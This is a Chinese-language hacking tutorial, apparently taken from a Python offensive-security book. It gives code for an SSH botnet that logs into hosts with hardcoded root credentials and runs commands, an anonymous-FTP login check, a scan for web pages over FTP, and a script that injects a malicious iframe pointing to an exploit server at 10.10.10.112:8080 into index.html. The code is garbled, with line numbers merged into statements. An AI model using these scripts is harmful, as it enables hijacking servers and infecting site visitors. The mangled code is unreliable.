构建僵尸网络,主要使用的包为pexpect,Pexpect 是一个用来启动子程序并对其进行自动控制的 Python 模块,它可以用来和像 ssh、ftp、passwd、telnet 等命令行程序进行自动交互。

python ssh登录集群

 1import optparse  2import pxssh 3class Client:     4    def __init__(self, host, user, password):        self.host = host         5       self.user = user         6       self.password = password        self.session = self.connect()     7    def connect(self):         8        try:             9            s = pxssh.pxssh()            s.login(self.host, self.user, self.password)            10            return s        11        except Exception as e:            12            print(e)            13            print("[-] Error Connecting")    14    def send_command(self, cmd):15        self.session.sendline(cmd)        self.session.prompt()        16        return self.session.before17    def botnetCommand(command):    18        for client in botNet:        19            output = client.send_command(command) print("[*] Output from " + client.host) print("[+] " + output + "\n")20    def addClient(host, user, password):    21        client = Client(host, user, password)    botNet.append(client)22botNet = [] 23addClient("10.10.10.110", "root", "toor") 24addClient("10.10.10.120", "root", "toor") addClient("10.10.10.130", "root", "toor") botnetCommand("uname -v") 25botnetCommand("cat /etc/issue")

通过FTP连接WEB来***

就安全而言,网站提供匿名的FTP服务器访问功能似乎很愚蠢。然而,令人惊 讶的是许多网站提供这类FTP的访问如升级软件,这使得更多的软件获取软件 的合法更新。我们可以利用Python的ftplib模块来构建一个小脚本,用来确 认服务器是否允许匿名登录。函数anonLogin()接受一个主机名反汇编一个布 尔值来确认主机是否允许匿名登录。为了确认这个布尔值,这个函数尝试用匿 名认证生成一个FTP连接,如果成功,则返回“True”,产生异常则返回 “False”。

 1import ftplib 2def anonLogin(hostname):     3    try:         4        ftp = ftplib.FTP(hostname)        ftp.login("anonymous", "me@your.com")     print("\n[*] " + str(hostname) + " FTP Anonymous Logon Succeeded!")        ftp.quit()         5        return True     6    except Exception as e:         7        print("\n[-] " + str(hostname) + " FTP Anonymous Logon Failed!")         8        return False 9host = "192.168.95.179" 10anonLogin(host)

在FTP服务器上寻找WEB页面

有了FTP访问权限,我们还要测试服务器是否还提供了WEB访问。为了测试 这个,我们首先要列出FTP的服务目录并寻找默认的WEB页面。函数 returnDefault()接受一个FTP连接作为输入并返回一个找到的默认页面的数组。 它通过发送命令NLST列出目录内容。这个函数检查每个文件返回默认 WEB页面文件名并将任何发现的默认WEB页面文件名添加到名为retList的列 表中。完成迭代这些文件之后,函数将返回这个列表。

 1import ftplib 2def returnDefault(ftp):     3    try:         4        dirList = ftp.nlst()     5    except:         6        dirList = []         7        print("[-] Could not list directory contents.")         8        print("[-] Skipping To Next Target.")   return    retList = [] 9   for fileName in dirList:        10        fn = fileName.lower()        11        if ".php" in fn or ".htm" in fn or ".asp" in fn:            12        print("[+] Found default page: " + fileName)            retList.append(fileName)            13        return retList14host = "192.168.95.179" 15userName = "guest" 16passWord = "guest" 17ftp = ftplib.FTP(host) 18ftp.login(userName, passWord) 19returnDefault(ftp)

看着这个脆弱的FTP服务器,我们可以看到它有三个WEB页面在基目录下。 好极了,我们知道可以移动我们的***向量到我们的被感染的页面。

添加恶意注入脚本到WEB页面

 1import ftplib 2def injectPage(ftp, page, redirect):     3    f = open(page + ".tmp", "w")     4    ftp.retrlines("RETR " + page, f.write)     5    print "[+] Downloaded Page: " + page    f.write(redirect)     6    f.close()     7    print "[+] Injected Malicious IFrame on: " + page     8    ftp.storlines("STOR " + page, open(page + ".tmp"))     9    print "[+] Uploaded Injected Page: " + page10host = "192.168.95.179" 11userName = "guest" 12passWord = "guest" 13ftp = ftplib.FTP(host) 14ftp.login(userName, passWord) 15redirect = "<iframe src="http://10.10.10.112:8080/exploit"></iframe>" 16injectPage(ftp, "index.html", redirect)

品略图书馆 http://www.pinlue.com/